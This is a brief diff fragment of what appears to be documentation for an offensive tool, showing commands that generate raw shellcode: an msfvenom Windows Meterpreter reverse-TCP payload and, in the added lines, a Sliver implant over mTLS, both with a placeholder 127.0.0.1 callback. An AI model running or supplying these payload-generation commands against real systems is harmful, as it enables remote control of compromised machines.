 You can generate raw MSF shellcode using msfvenom's raw format. Ex:
 - `msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f raw -o msf.bin`
 
+### Sliver
+You can generate raw [Sliver](https://github.com/BishopFox/sliver) shellcode using Sliver's "--format shellcode". Ex:
+- `generate --mtls 127.0.0.1:443 --format shellcode --windows`
